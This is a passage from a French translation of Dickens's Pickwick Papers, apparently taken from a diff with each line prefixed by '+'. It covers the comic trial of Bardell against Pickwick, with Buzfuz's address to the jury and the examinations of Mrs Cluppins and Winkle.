+le mérite; mais je ne l'ai pas, milord.
+
+--Faites prêter serment au gentleman, reprit le juge d'un ton
+péremptoire.»
+
+L'officier n'avait pas été plus loin que le _vous jugerez fidèlement et
+loyalement_, quand il fut encore interrompu par l'apothicaire.
+
+«Est-ce qu'il faut que je prête serment, milord? demanda-t-il.
+
+--Certainement, monsieur, répliqua l'entêté petit juge.
+
+--Très-bien, milord, fit l'apothicaire d'un air résigné. Il y aura mort
+d'homme avant que le jugement soit rendu, voilà tout. Faites-moi prêter
+serment si vous voulez, monsieur.»
+
+Et l'apothicaire prêta serment avant que le juge eût pu trouver une
+parole à prononcer.
+
+«Milord, reprit l'apothicaire en s'asseyant fort tranquillement, je
+voulais seulement vous faire observer que je n'ai laissé qu'un galopin
+dans ma boutique. C'est un charmant bonhomme, milord, mais qui se
+connaît fort peu en drogues; et je sais que, dans son idée, _sel
+d'Epsom_ veut dire _acide prussique_, et _sirop d'Ipécacuanha,
+laudanum_. Voilà tout, milord.»
+
+Ayant proféré ces mots, l'apothicaire s'arrangea commodément sur son
+siége, prit un visage aimable et parut préparé à tout événement.
+
+M. Pickwick le considérait avec le sentiment de la plus profonde
+horreur, lorsqu'une légère sensation se fit remarquer dans la cour. Mme
+Bardell, supportée par Mme Cluppins, fut amenée et placée, dans un état
+d'accablement pitoyable, à l'autre bout du banc qu'occupait M. Pickwick.
+Un énorme parapluie fut alors apporté par M. Dodson, et une paire de
+socques, par M. Fogg, qui, tous les deux, avaient préparé pour cette
+occasion leurs visages les plus sympathiques et les plus compatissants.
+Mme Sanders parut ensuite, conduisant master Bardell. À la vue de son
+enfant, la tendre mère tressaillit, revint à elle et l'embrassa avec des
+transports frénétiques; puis, retombant dans un état d'imbécillité
+hystérique, la bonne dame demanda à ses amies où elle était. En
+répliquant à cette question, Mme Cluppins et Mme Sanders détournèrent la
+tête et se prirent à pleurer, tandis que MM. Dodson et Fogg suppliaient
+la plaignante de se tranquilliser. Me Buzfuz frotta ses yeux de toutes
+ses forces avec un mouchoir blanc et jeta vers le jury un regard qui
+semblait faire appel à son humanité. Le juge était visiblement affecté,
+et plusieurs des spectateurs toussèrent pour cacher leur émotion.
+
+«Une très bonne idée, murmura Perker à M. Pickwick. Dodson et Fogg sont
+d'habiles gens. Voilà une scène d'un excellent effet, mon cher monsieur,
+d'un excellent effet.»
+
+Pendant que Perker parlait, Mme Bardell revenait lentement à elle, et
+Mme Cluppins, après avoir soigneusement examiné les boutons de monter
+Bardell et leurs boutonnières respectives, le plaçait sur le parquet de
+la cour, devant sa mère: position avantageuse où il ne pouvait manquer
+d'éveiller la commisération des jurés et du juge. Cependant cela ne
+s'était pas fait sans une opposition considérable de la part du jeune
+gentleman lui-même; car il n'était pas éloigné de croire que ce fût là
+une formalité légale, après laquelle on le condamnerait à une exécution
+immédiate ou à la transportation au delà des mers pour le reste de ses
+jours, tout au moins.
+
+«Bardell et Pickwick! cria le gentleman en noir, appelant la cause qui
+se trouvait la première sur la liste.
+
+--Milord, dit Me Buzfuz, je suis pour la plaignante.
+
+--Avec qui êtes-vous, Me Buzfuz? demanda le juge.»
+
+M. Skimpin salua pour exprimer que c'était avec lui.
+
+«Je parais pour le défendeur, milord, dit à son tour Me Snubbin.
+
+--Il y a quelqu'un avec vous, Me Snubbin? reprit le juge.
+
+--M. Phunky, milord.
+
+--Me Buzfuz et Me Skimpin, pour la plaignante, dit le juge en écrivant
+les noms sur son livre de notes et en articulant ce qu'il écrivait. Pour
+le défendeur, Me Snubbin et M. Tronquet.
+
+--Je demande pardon à votre seigneurie: Phunky.
+
+--Oh! très-bien, dit le juge. Je n'avais jamais eu le plaisir d'entendre
+le nom de monsieur.»
+
+Ici M. Phunky salua et sourit, et le juge salua et sourit aussi; et
+alors M. Phunky, rougissant jusqu'au blanc des yeux, s'efforça d'avoir
+l'air d'ignorer que tout le monde le regardait, chose qui n'a jamais
+réussi jusqu'à présent à personne, et qui suivant toutes probabilités,
+ne réussira en aucun temps.
+
+«Procédons,» dit le juge.
+
+Les huissiers, crièrent de nouveau: _silence!_ et M. Skimpin exposa
+l'affaire; mais, lorsqu'elle fut exposée, l'audience n'en fut guère plus
+avancée, car l'avocat avait soigneusement gardé pour lui-même les
+particularités qu'il savait; et, quand il se rassit, au bout de trois
+minutes, la religion du jury était précisément aussi éclairée
+qu'auparavant.
+
+Me Buzfuz se leva alors, avec toute la dignité qu'exigeait la nature de
+sa cause, chuchota avec Dodson, conféra brièvement avec Fogg, tira sa
+robe sur ses épaules, arrangea sa perruque, et s'adressa au jury.
+
+Il commença par dire que jamais, dans le cours de sa carrière, jamais
+depuis le premier moment où il s'était appliqué à l'étude des lois, il
+ne s'était approché d'une cause avec des sentiments d'émotion aussi
+profonde, avec la conscience d'une aussi pesante responsabilité;
+responsabilité, pouvait-il dire, qu'il n'aurait jamais voulu assumer
+s'il n'avait pas été soutenu par la conviction, assez forte pour
+équivaloir à une certitude, par la conviction que la cause de la
+justice, ou, en d'autres termes, la cause de sa cliente, de sa cliente
+abusée, innocente et persécutée, devait prévaloir auprès des douze
+gentlemen intelligents, nobles et généreux, qu'il voyait assis en face
+de lui.
+
+Les avocats commencent toujours de cette manière, parce que cela rend
+les jurés contents d'eux-mêmes en leur faisant croire qu'ils doivent
+être des personnages bien difficiles à tromper. Un effet visible fut
+produit immédiatement et plusieurs jurés commencèrent à prendre avec
+activité de volumineuses notes.
+
+«Gentlemen, vous avez appris de mon savant ami, poursuivit Me Buzfuz,
+quoiqu'il sût très-bien que les gentlemen du jury n'avaient rien appris
+du tout du savant ami en question; vous avez appris de mon savant ami
+que ceci est une action pour violation de promesse de mariage, dans
+laquelle les dommages demandés sont de 1500 livres sterling; mais vous
+n'avez pas appris de mon savant ami, attendu que cela n'entrait pas dans
+les attributions de mon savant ami, quels sont les faits et les
+circonstances de la cause. Ces faits et ces circonstances, gentlemen,
+vous allez les entendre détaillés par moi et prouvés par les véridiques
+dames que je placerai devant vous dans cette tribune.»
+
+Ici Me Buzfuz, avec une terrible emphase sur le mot _tribune_, frappa sa
+table d'un poing majestueux en regardant Dodson et Fogg. Ceux-ci firent
+un signe d'admiration pour l'avocat, d'indignation et de défi pour le
+défendeur.
+
+«La plaignante, gentlemen, continua Me Buzfuz d'une voix douce et
+mélancolique, la plaignante est une veuve. Oui, gentlemen, une veuve.
+Feu M. Bardell, après avoir joui, pendant beaucoup d'années, de l'estime
+et de la confiance de son souverain, comme l'un des gardiens de ses
+revenus royaux, s'éloigna presque imperceptiblement de ce monde, pour
+aller chercher ailleurs le repos et la paix, que la douane ne peut
+jamais accorder.»
+
+À cette poétique description du décès de M. Bardell (qui avait eu la
+tête cassée d'un coup de pinte dans une rixe de taverne), la voix du
+savant avocat trembla et s'éteignit un instant. Il continua avec grande
+émotion.
+
+«Quelque temps avant sa mort, il avait imprimé sa ressemblance sur le
+front d'un petit garçon. Avec ce petit garçon, seul gage de l'amour du
+défunt douanier, Mme Bardell se cacha au monde et rechercha la
+tranquillité de la rue Goswell. Là elle plaça à la croisée de son
+parloir un écriteau manuscrit portant cette inscription: _Appartement de
+garçon à louer en garni; s'adresser au rez-de-chaussée._»
+
+Ici Me Buzfuz fit une pause, tandis que plusieurs gentlemen du jury
+prenaient note de ce document.
+
+«Est-ce qu'il n'y a point de date à cette pièce? demanda un juré.
+
+--Non, monsieur, il n'y a point de date, répondit l'avocat. Mais je suis
+autorisé à déclarer que cet écriteau fut mis à la fenêtre de la
+plaignante il y a justement trois années. J'appelle l'attention du jury
+sur les termes de ce document: _Appartement de garçon à louer en garni_.
+Messieurs, l'opinion que Mme Bardell s'était formée de l'autre sexe
+était dérivée d'une longue contemplation des qualités inestimables de
+l'époux qu'elle avait perdu. Elle n'avait pas de crainte; elle n'avait
+pas de méfiance; elle n'avait pas de soupçons; elle était tout abandon
+et toute confiance. M. Bardell, disait la veuve, M. Bardell était
+autrefois garçon; c'est à un garçon que je demanderai protection,
+assistance, consolation. C'est dans un garçon que je verrai
+éternellement quelque chose qui me rappellera ce qu'était M. Bardell,
+quand il gagna mes jeunes et vierges affections; c'est à un garçon que
+je louerai mon appartement. Entraînée par cette belle et touchante
+inspiration (l'une des plus belles inspirations de notre imparfaite
+nature, gentlemen), la veuve solitaire et désolée sécha ses lames,
+meubla son premier étage, serra son innocente progéniture sur son sein
+maternel, et mit à la fenêtre de son parloir l'écriteau que vous
+connaissez. Y resta-t-il longtemps? Non. Le serpent était aux aguets,
+la mèche était allumée, la mine était préparée, le sapeur et le mineur
+étaient à l'ouvrage. L'écriteau n'avait pas été trois jours à la fenêtre
+du parloir... trois jours, gentlemen! quand un être qui marchait sur
+deux jambes et qui ressemblait extérieurement à un homme et non point à
+un monstre, frappa à la porte de Mme Bardell. Il s'adressa au
+rez-de-chaussée; il loua le logement, et le lendemain il s'y installa.
+Cet être était Pickwick; Pickwick le défendeur.»
+
+Me Buzfuz avait parlé avec tant de volubilité que son visage en était
+devenu absolument cramoisi. Il s'arrêta ici pour reprendre haleine. Le
+silence réveilla M. le juge Stareleigh qui, immédiatement, écrivit
+quelque chose avec une plume où il n'y avait pas d'encre, et prit un air
+extraordinairement réfléchi, afin de faire croire au jury qu'il pensait
+toujours plus profondément quand il avait les yeux fermés.
+
+Me Buzfuz continua.
+
+«Je dirai peu de choses de cet homme. Le sujet présente peu de charmes,
+et je n'aurais pas plus de plaisir que vous, gentlemen, à m'étendre
+complaisamment sur son égoïsme révoltant, sur sa scélératesse
+systématique.»
+
+En entendant ces derniers mots, M. Pickwick qui, depuis quelques
+instants écrivait en silence, tressaillit violemment, comme si quelque
+vague idée d'attaquer Me Buzfuz sous les yeux mêmes de la justice,
+s'était présentée à son esprit. Un geste monitoire de M. Perker le
+retint, et il écouta le reste du discours du savant gentleman avec un
+air d'indignation qui contrastait complètement avec le visage admirateur
+de Mmes Cluppins et Sanders.
+
+«Je dis scélératesse systématique, gentlemen, continua l'avocat en
+regardant M. Pickwick, et en s'adressant directement à lui; et, quand je
+dis scélératesse systématique, permettez-moi d'avertir le défendeur,
+s'il est dans cette salle, comme je suis informé qu'il y est, qu'il
+aurait agi plus décemment, plus convenablement, avec plus de jugement et
+de bon goût, s'il s'était abstenu d'y paraître. Laissez-moi l'avertir,
+messieurs, que s'il se permettait quelque geste de désapprobation dans
+cette enceinte, vous sauriez les apprécier et lui en tenir un compte
+rigoureux; et laissez-moi lui dire, en outre, comme milord vous le dira,
+gentlemen, qu'un Avocat qui remplit son devoir envers ses clients, ne
+doit être ni intimidé, ni menacé, ni maltraité, et que toute tentative
+pour commettre l'un ou l'autre de ces actes retombera sur la tête du
+machinateur, qu'il soit demandeur ou défendeur, que son nom soit
+Pickwick ou Noakes, ou Stonkes, ou Stiles, ou Brown, ou Thompson.»
+
+Cette petite digression du sujet principal amena nécessairement le
+résultat désiré, de tourner tous les yeux sur M. Pickwick. Me Buzfuz,
+s'étant partiellement remis de l'état d'élévation morale où il s'était
+fouetté, continua plus posément.
+
+«Je vous prouverai, gentlemen, que, pendant deux années, Pickwick
+continua de rester constamment et sans interruption, sans intermission,
+dans la maison de la dame Bardell; je vous prouverai que, durant tout ce
+temps, la dame Bardell le servit, s'occupa de ses besoins, fit cuire ses
+repas, donna son linge à la blanchisseuse, le reçut, le raccommoda, et
+jouit enfin de toute la confiance de son locataire. Je vous prouverai
+que, dans beaucoup d'occasions, il donna à son petit garçon des
+demi-pence, et même, dans, quelques occasions, des pièces de six pence;
+je vous prouverai aussi, par la déposition d'un témoin qu'il aéra
+impossible à mon savant ami de récuser ou d'infirmer; je vous prouverai,
+dis-je, qu'une fois il caressa le petit bonhomme sur la tête, et, après
+lui avoir demandé s'il avait gagné récemment beaucoup de billes et de
+calots, se servit de ces expressions remarquables: _Seriez-vous bien
+content d'avoir un autre père?_ Je vous prouverai, en outre, gentlemen,
+qu'il y a environ un an, Pickwick commença tout à coup à s'absenter de
+la maison, durant de longs intervalles, comme s'il avait eu l'intention
+de se séparer graduellement de ma cliente; mais je vous ferai voir aussi
+qu'à cette époque sa résolution n'était pas assez forte ou que ses bons
+sentiments prirent le dessus, s'il a de bons sentiments; ou que les
+charmes et les accomplissements de ma cliente l'emportèrent sur ses
+intentions inhumaines; car je vous prouverai qu'en revenant d'un voyage,
+il lui fit positivement des offres de mariage, après avoir pris soin
+toutefois qu'il ne put y avoir aucun témoin de leur contrat solennel.
+Cependant je suis en état de vous prouver, d'après le témoignage de
+trois de ses amis, qui déposeront bien malgré eux, gentlemen, que, dans
+cette même matinée, il fut découvert par eux, tenant la plaignante dans
+ses bras et calmant son agitation par des douceurs et des caresses.»
+
+Une impression visible fut produite sur les auditeurs par cette partie
+du discours du savant avocat. Tirant de son sac deux petits chiffons de
+papier, il continua:
+
+«Et maintenant, gentlemen, un seul mot de plus. Nous avons heureusement
+retrouvé deux lettres, que le défendeur confesse être de lui, et qui
+disent des volumes. Ces lettres dévoilent le caractère de l'homme. Elles
+ne sont point écrites dans un langage ouvert, éloquent, fervent,
+respirant le parfum d'une tendresse passionnée; non, elles sont pleines
+de précautions, de ruses, de mots couverts, mais qui heureusement sont
+bien plus concluantes que si elles contenaient les expressions les plus
+brûlantes, les plus poétiques images: lettres qui doivent être examinées
+avec un oeil soupçonneux; lettres qui étaient destinées, par Pickwick, à
+dérouter les tiers entre les mains desquels elles pourraient tomber. Je
+vais vous lire la première, gentlemen. «Garraway, midi. Chère mistress
+B. Côtelettes de mouton et sauce aux tomates! Tout à vous. Pickwick.»
+Côtelettes de mouton! Juste ciel! et sauce aux tomates! Gentlemen, le
+bonheur d'une femme sensible et confiante devra-t-il être à jamais
+détruit par ces vils artifices? La lettre suivante n'a point de date, ce
+qui, par soi-même, est déjà suspect. «Chère madame B. Je n'arriverai à
+la maison que demain matin: la voiture est en retard.» Et ensuite
+viennent ces expressions très-remarquables: «Ne vous tourmentez point
+pour la bassinoire.» La bassinoire! Eh! messieurs, qui donc se tourmente
+pour une bassinoire? Quand est-ce que la paix d'un homme ou d'une femme
+a été troublée par une bassinoire? par une bassinoire, qui est en
+elle-même un meuble domestique innocent, utile, et j'ajouterai même,
+commode. Pourquoi Mme Bardell est-elle si chaleureusement suppliée de ne
+point d'affliger pour la bassinoire? À moins (comme il n'y a pas l'ombre
+d'un doute) que ce mot ne serve de couvercle à un feu caché, qu'il ne
+soit l'équivalent de quelque expression caressante, de quelque promesse
+flatteuse, le tout déguisé par un système de correspondance énigmatique,
+artificieusement imaginé par Pickwick, dans le dessein de préparer sa
+lâche trahison, et qui, effectivement, est resté indéchiffrable pour
+tout le monde. Ensuite, que signifient ces paroles: _La voiture est en
+retard?_ Je ne serais point étonné qu'elles s'appliquassent à Pickwick
+lui-même qui, incontestablement, a été bien criminellement en retard
+durant toute cette affaire; mais dont la vitesse sera inopinément
+accélérée, et dont les roues, comme il s'en apercevra à son dam, seront
+incessamment graissées par vous-mêmes, gentlemen!»
+
+Me Buzfuz s'arrêta en cet endroit, pour voir si le jury souriait à
+cette plaisanterie; mais personne ne l'ayant comprise, excepté
+l'épicier, dont l'intelligence sur ce sujet provenait probablement de ce
+qu'il avait soumis, dans la matinée même, son chariot au procédé en
+question, le savant avocat jugea convenable, pour finir, de retomber
+encore dans le lugubre.
+
+«Assez de ceci, gentlemen; il est difficile de sourire avec un coeur
+déchiré; il est mal de plaisanter, quand nos plus profondes sympathies
+sont éveillées. L'avenir de ma cliente est perdu; et ce n'est pas une
+figure de rhétorique de dire que sa maison est vide. L'écriteau n'est
+pas mis, et pourtant il n'y a point de locataire. Des célibataires
+estimables passent et repassent dans la rue Goswell, mais il n'y a pas
+pour eux d'invitation à s'adresser au rez-de-chaussée. Tout est sombre
+et silencieux dans la demeure de madame Bardell; la voix même de
+l'enfant ne s'y fait plus entendre; ses jeux innocents sont abandonnés,
+car sa mère gémit et se désespère; ses agates et ses billes sont
+négligées; il n'entend plus le cri familier de ses camarades: pas de
+tricherie! Il a perdu l'habileté dont il faisait preuve au jeu de pair
+ou impair. Cependant, gentlemen, Pickwick, l'infâme destructeur de cette
+oasis domestique qui verdoyait dans le désert de Goswell Street,
+Pickwick qui se présente devant vous au jourd'hui, avec son infernale
+_sauce aux tomates_ et son ignoble _bassinoire_, Pickwick lève encore
+devant vous son front d'airain, et contemple avec férocité la ruine dont
+il est l'auteur. Des dommages, gentlemen, de forts dommages sont la
+seule punition que vous puissiez lui infliger, la seule consolation que
+vous puissiez offrir à ma cliente; et c'est dans cet espoir qu'elle
+fait, en ce moment, un appel à l'intelligence, à l'esprit élevé, à la
+sympathie, à la conscience, à la justice, à la grandeur d'âme d'un jury
+composé de ses plus honorables concitoyens.»
+
+Après cette belle péroraison, Me Buzfuz s'assit, et M. le juge
+Stareleigh s'éveilla.
+
+«Appelez Élisabeth Cluppins,» dit l'avocat en se relevant au bout d'une
+minute, avec une nouvelle vigueur.
+
+L'huissier le plus proche appela: «Élisabeth Tuppins!» un autre, à une
+petite distance, demanda: «Élisabeth Supkins!» et un troisième enfin se
+précipita dans King-Street et beugla: «Élisabeth Fnuffin!» jusqu'à ce
+qu'il en fût enroué.
+
+Pendant ce temps, Madame Cluppins avec l'assistance combinée de Mmes
+Bardell et Sanders, de M. Dodson et de M. Fogg, était conduite vers la
+tribune des témoins. Lorsqu'elle fut heureusement juchée sur la marche
+d'en haut, Mme Bardell se plaça debout sur celle d'en bas, tenant d'une
+main le mouchoir et les socques de son amie, de l'autre une bouteille de
+verre, qui pouvait contenir environ un quart de pinte de sel de
+vinaigre, afin d'être prête à tout événement. Mme Sanders, dont les yeux
+étaient attentivement fixés sur le visage du juge, se planta près de Mme
+Bardell, tenant de la main gauche le grand parapluie, et appuyant d'un
+air déterminé son pouce droit sur le ressort, comme pour faire voir
+qu'elle était prête à l'ouvrir, au plus léger signal.
+
+«Madame Cluppins, dit Me Buzfuz, je vous en prie, madame,
+tranquillisez-vous.»
+
+Bien entendu qu'à cette invitation, Mme Cluppins se prit à sangloter
+avec une nouvelle violence, et donna des marques si alarmantes de
+sensibilité, qu'elle semblait à chaque instant prête à s'évanouir.
+
+Cependant, après quelques questions peu importantes, Me Buzfuz lui dit:
+«Vous rappelez-vous, madame Cluppins, vous être trouvée dans la chambre
+du fond, au premier étage, chez Mme Bardell, dans une certaine matinée
+de juillet, tandis qu'elle époussetait l'appartement de M. Pickwick?
+
+--Oui milord, et messieurs du jury, répondit Mme Cluppins.
+
+--La chambre de M. Pickwick était au premier, sur le devant, je pense?
+
+--Oui, Monsieur.
+
+--Que faisiez-vous dans la chambre de derrière, madame? demanda le petit
+juge.
+
+--Milord et messieurs! s'écria Mme Cluppins, avec une agitation
+intéressante, je ne veux pas vous tromper....
+
+--Vous ferez bien, madame, lui dit-le petit juge.
+
+--Je me trouvais là à l'insu de Mme Bardell. J'étais sortie avec un
+petit panier, messieurs, pour acheter trois livres de vitelottes, qui
+m'ont bien coûté deux pence et demi, quand je vois la porte de la rue de
+Mme Bardell entre-bâillée....
+
+--Entre quoi? s'écria le petit juge.
+
+--À moitié ouverte, milord, dit Me Snubbin.
+
+--Elle a dit entre-bâillée, fit observer le petit juge d'un air
+plaisant.
+
+--C'est la même chose, milord,» reprit l'illustre avocat.
+
+Le petit juge le regarda dubitativement, et dit qu'il en tiendrait note.
+Mme Cluppins continua.
+
+«Je suis entrée, gentlemen, juste pour dire bonjour, et je suis montée
+les escaliers, d'une manière pacifique, et je suis pénétrée dans la
+chambre de derrière et... et....
+
+--Et vous avez écouté, je pense, madame Cluppins? dit Me Buzfuz.
+
+--Je vous demande excuse, monsieur, répliqua Mme Cluppins, d'un air
+majestueux, j'en mépriserais l'action, les voix étaient très-élevées,
+monsieur, et se forcèrent sur mon oreille.
+
+--Très bien, vous n'écoutiez pas, mais vous entendiez les voix. Une de
+ces voix était-elle celle de M. Pickwick?
+
+--Oui, monsieur.»
+
+Mme Cluppins, après avoir déclaré distinctement que M. Pickwick
+s'adressait à Mme Bardell, répéta lentement et en réponse à de
+nombreuses questions, la conversation que nos lecteurs connaissent déjà.
+Me Buzfuz sourit, en s'asseyant, et les jurés prirent un air
+soupçonneux; mais leur physionomie devint absolument menaçante, lorsque
+Me Snubbin déclara qu'il ne contre-examinerait pas le témoin, parce que
+M. Pickwick croyait devoir convenir que son récit était exact en
+substance.
+
+Mme Cluppins ayant une fois brisé la glace, jugea que l'occasion était
+favorable pour faire une courte dissertation sur ses propres affaires
+domestiques. Elle commença donc par informer la cour qu'elle était au
+moment actuel mère de huit enfants, et qu'elle entretenait l'espérance
+d'en présenter un neuvième à M. Cluppins dans environ six mois.
+Malheureusement dans cet endroit instructif, le petit juge l'interrompit
+très-colériquement, et par suite de cette interruption la vertueuse dame
+et Mme Sanders furent poliment conduites hors de la salle, sous
+l'escorte de M. Jackson, sans autre forme de procès.
+
+«Nathaniel Winkle! dit M. Skimpin.
+
+--Présent, répondit M. Winkle, d'une voix faible; puis il entra dans la
+tribune des témoins, et après avoir prêté serment, salua le juge avec
+une grande déférence.
+
+--Ne vous tournez pas vers moi, monsieur, lui dit aigrement le juge, en
+réponse à son salut. Regardez le jury.»
+
+M. Winkle obéit, avec empressement, à cet ordre, et se tourna vers la
+place où il supposait que le jury devait être, car dans l'état de
+confusion où il se trouvait, il était tout à fait incapable de voir
+quelque chose.
+
+M. Skimpin s'occupa alors de l'examiner. C'était un jeune homme de 42
+ou 43 ans, qui promettait beaucoup, et qui était nécessairement fort
+désireux de confondre, autant qu'il le pourrait, un témoin notoirement
+prédisposé en faveur de l'autre partie.
+
+«Maintenant, monsieur, aurez-vous la bonté de faire connaître votre nom
+à Sa Seigneurie et au jury? dit M. Skimpin, en inclinant de côté pour
+écouter la réponse, et pour jeter en même temps aux jurés un coup d'oeil
+qui semblait indiquer que le goût naturel de M. Winkle pour le parjure
+pourrait bien l'induire à déclarer un autre nom que le sien.
+
+--Winkle, répondit le témoin.
+
+--Quel est votre nom de baptême, monsieur? demanda le petit juge d'un
+ton courroucé.
+
+--Nathaniel, monsieur.
+
+--Daniel? Vous n'avez pas d'autre prénom?
+
+--Nathaniel, monsieur... milord, je veux dire.
+
+--Nathaniel, Daniel? ou Daniel Nathaniel?
+
+--Non, milord; seulement Nathaniel; point Daniel.
+
+--Alors, monsieur, pourquoi donc m'avez-vous dit Daniel?
+
+--Je ne l'ai pas dit, milord.
+
+--Vous l'avez dit, monsieur, rétorqua le juge, avec un austère
+froncement de sourcils. Pourquoi aurais-je écrit: _Daniel_, dans mes
+notes, si vous ne me l'aviez pas dit, monsieur?»
+
+Cet argument était évidemment sans réplique.
+
+«M. Winkle a la mémoire assez courte, milord, interrompit M. Skimpin, en
+jetant un autre coup d'oeil au jury; mais j'espère que nous trouverons
+moyen de la lui rafraîchir.
+
+--Je vous conseille de faire attention, monsieur,» dit le petit juge au
+témoin, en le regardant d'un air sinistre.
+
+Le pauvre M. Winkle salua, et s'efforça de feindre une tranquillité dont
+il était bien loin; ce qui, dans son état de perplexité, lui donnait
+précisément l'air d'un filou pris sur le fait.
+
+«Maintenant, monsieur Winkle, reprit M. Skimpin, écoutez moi avec
+attention, s'il vous plaît, et laissez-moi vous recommander, dans votre
+propre intérêt, de ne point oublier les injonctions de milord.
+N'êtes-vous pas ami intime de M. Pickwick, le défendeur?
+
+--Autant que je puisse me le rappeler, en ce moment, je connais M.
+Pickwick depuis près de....
+
+--Monsieur, n'éludez pas la question. Êtes-vous oui ou non ami intime
+du défendeur?
+
+--J'allais justement vous dire que....
+
+--Voulez-vous, oui ou non, répondre à ma question, monsieur?
+
+--Si vous ne répondez pas à la question, je vous ferai incarcérer,
+monsieur, s'écria le petit juge en regardant par-dessus ses notes.
+
+--Allons! monsieur, oui ou non, s'il vous plaît, répéta M. Skimpin.
+
+--Oui, je le suis, dit enfin M. Winkle.
+
+--Ah! vous l'êtes! Et pourquoi n'avez-vous pas voulu le dire du premier
+coup, monsieur? Vous connaissez peut-être aussi la plaignante? n'est-ce
+pas, monsieur Winkle?
+
+--Je ne la connais pas, mais je l'ai vue.
+
+--Oh! vous ne la connaissez pas, mais vous l'avez vue! Maintenant ayez
+la bonté de dire à MM. les jurés, ce que vous entendez par cette
+distinction, monsieur Winkle?
+
+--J'entends que je ne suis pas intime avec elle, mais que je l'ai vue
+quand j'allais chez monsieur Pickwick, dans Goswell-Street.
+
+--Combien de fois l'avez-vous vue, monsieur?
+
+--Combien de fois?
+
+--Oui, monsieur, combien de fois? Je vous répéterai cette question tant
+que vous le désirerez, monsieur.» Et le savant gentleman, après avoir
+froncé sévèrement les sourcils, plaça ses mains sur ses hanches, et
+sourit aux jurés, d'un air soupçonneux.
+
+Sur cette question, s'éleva l'édifiante controverse, ordinaire en pareil
+cas. D'abord M. Winkle déclara qu'il lui était absolument impossible de
+préciser combien de fois il avait vu Mme Bardell. Alors on lui demanda
+s'il l'avait vue vingt fois? à quoi il répondit: «Certainement plus que
+cela.»--S'il l'avait vue cent fois?--S'il pouvait jurer de l'avoir vue
+plus de cinquante fois?--S'il n'était pas certain de l'avoir vue, au
+moins soixante et quinze fois, et ainsi de suite. À la fin on arriva à
+cette conclusion satisfaisante qu'il ferait bien de prendre garde à lui
+et à ses réponses. Le témoin ayant été réduit de la sorte à l'état
+désiré de susceptibilité nerveuse, l'interrogatoire fut continué ainsi
+qu'il suit:
+
+«Monsieur Winkle, vous rappelez-vous avoir été chez le défendeur
+Pickwick dans l'appartement de la plaignante, rue Goswell, une certaine
+matinée de juillet?
+
+--Oui, je me le rappelle.
+
+--Étiez-vous accompagné dans cette occasion par un ami du nom de Tupman,
+et par un autre du nom de Snodgrass.
+
+--Oui, monsieur.
+
+--Sont-ils ici?
+
+--Oui, ils y sont, répondit M. Winkle en regardant avec inquiétude
+l'endroit où étaient placés ses amis.
+
+--Je vous en prie, monsieur Winkle, occupez-vous de moi et ne pensez pas
+à vos amis, reprit M. Skimpin, en jetant au jury un autre coup d'oeil
+expressif. Il faudra qu'ils racontent leur histoire sans avoir de
+consultation préalable avec vous, s'ils n'en ont pas eu déjà (autre
+regard au jury). Maintenant, monsieur, dites à MM. les jurés ce que vous
+vîtes en entrant dans la chambre du défendeur, le jour en question.
+Allons! monsieur, accouchez donc; il faut que nous le sachions tôt ou
+tard.
+
+--Le défendeur, M. Pickwick, tenait la plaignante dans ses bras, ayant
+ses mains autour de sa taille, répliqua M. Winkle, avec une hésitation
+bien naturelle; et la plaignante paraissait être évanouie.
+
+--Avez-vous entendu le défendeur dire quelque chose?
+
+--Je l'ai entendu appeler Mme Bardell une bonne âme, et l'engager à se
+calmer, en lui représentant dans quelle situation on les trouverait s'il
+survenait quelqu'un, ou quelque chose comme cela.
+
+--Maintenant, monsieur Winkle, je n'ai plus qu'une question à vous
+faire, et je vous prie de vous rappeler l'avertissement de milord.
+Voulez-vous affirmer, sous serment, que Pickwick, le défendeur, n'a pas
+dit dans l'occasion en question: «Ma chère madame Bardell, vous êtes une
+bonne âme; habituez-vous à cette situation: un jour vous y viendrez,
+même devant quelqu'un;» ou quelque chose comme cela.
+
+--Je... je ne l'ai certainement pas compris ainsi, dit M. Winkle étonné
+de l'ingénieuse explication donnée au petit nombre de paroles qu'il
+avait entendues. J'étais sur l'escalier, et je n'ai pas pu entendre
+distinctement. L'impression qui m'est restée est que....
+
+--Ah! interrompit M. Skimpin, les gentlemen du jury n'ont pas besoin de
+vos impressions qui, je le crains, ne satisferaient guère des personnes
+honnêtes et franches: vous étiez sur l'escalier et vous n'avez pas
+entendu distinctement; mais vous ne voulez pas jurer que M. Pickwick ne
+se soit pas servi des expressions que je viens de citer. Vous ai-je
+bien compris?
+
+--Non, je ne le peux pas jurer,» répliqua M. Winkle; et M. Skimpin
+s'assit d'un air triomphant.
+
+Jusque-là, la cause de M. Pickwick n'avait pas marché d'une manière
+tellement heureuse qu'elle fût en état de supporter le poids de nouveaux
+soupçons, mais comme on pouvait désirer de la placer sous un meilleur
+jour, s'il était possible, M. Phunky se leva, afin de tirer quelque
+chose d'important de M. Winkle dans un contre-examen. On va voir tout à
+l'heure s'il en tira en effet quelque chose d'important.
+
+«Je crois, monsieur Winkle, lui dit-il, que M. Pickwick n'est plus un
+jeune homme?
+
+--Oh non! répondit M. Winkle, il est assez âgé pour être mon père.
+
+--Vous avez dit à mon savant ami que vous connaissiez M. Pickwick depuis
+longtemps. Avez-vous jamais eu quelques raisons de supposer qu'il était
+sur le point de se marier?
+
+--Oh non! certainement, non! répliqua M. Winkle avec tant d'empressement
+que M. Phunky aurait dû le tirer de la tribune le plus promptement
+possible. Les praticiens tiennent qu'il y a deux espèces de témoins
+particulièrement dangereux: le témoin qui rechigne, et le témoin qui a
+trop de bonne volonté. Ce fut la destinée de M. Winkle de figurer de ces
+deux manières, dans la cause de son ami.
+
+--J'irai même plus loin que ceci, continua M. Phunky, de l'air le pins
+satisfait et le plus confiant. Avez-vous jamais vu dans les manières de
+M. Pickwick envers l'autre sexe, quelque chose qui ait pu vous induire à
+croire qu'il ne serait pas éloigné de renoncer à la vie d'un vieux
+garçon?
+
+--Oh non! certainement, non!
+
+--Dans ses rapports avec les dames, sa conduite n'a-t-elle pas toujours
+été celle d'un homme qui, ayant atteint un âge assez avancé, satisfait
+de ses propres amusements et de ses occupations, les traite toujours
+comme un père traite ses filles?
+
+--Il n'y a pas le moindre doute à cela, répliqua M. Winkle dans la
+plénitude de son coeur. C'est-à-dire... oui... oh! oui certainement.
+
+--Vous n'avez jamais remarqué dans sa conduite envers Mme Bardell, ou
+envers toute autre femme, rien qui fût le moins du monde suspect? ajouta
+M. Phunky, en se préparant à s'asseoir, car Me Snubbin lui faisait
+signe du coin de l'oeil.
+
+--Mais... n... n... non, répondit M. Winkle, excepté... dans une légère
+circonstance, qui, j'en suis sûr, pourrait être facilement expliquée.»
